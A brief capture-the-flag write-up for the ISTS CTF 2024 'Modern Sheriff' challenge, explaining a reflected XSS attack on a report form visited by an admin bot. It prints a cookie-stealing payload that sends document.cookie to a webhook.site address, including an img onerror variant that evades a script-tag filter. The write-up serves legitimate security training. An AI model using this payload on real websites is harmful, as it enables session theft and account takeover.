ISTS CTF 2024 Modern Sheriff Writeup

Manav Malik

Let's begin by examining the report website. It seems rather simple: a field where we enter our report, a submit button, and an hCaptcha (so we cannot brute force the form). From this alone, we can safely assume we have to do some kind of XSS injection. We know from the challenge description that the admin bot will visit the report we give it, so this must be XSS reflected.

Essentially, we need to write a payload that will grab the cookies of whoever visits the page and sends them to us somehow. One way to do this is by using a webhook and attach the cookies in a query string. With no additional limitations, we can use the following JavaScript code for this:

```
window.location="https://webhook.site/[URL]/?cookie="
                    +document.cookie;
```

The problem here is that `<script>` tags are not allowed, so we might have to get a little creative. In the description, we are told that `<img>` tags may be used in the reports. This exposes an important vulnerability in that tag's `onerror` attribute. To exploit this, we can provide a bogus `src` (one that is guaranteed to throw an error) and put our payload in `onerror`. Our final report is:

```
<img src=x onerror=javascript:window.location=
"https://webhook.site/[URL]/?cookie="+document.cookie>
```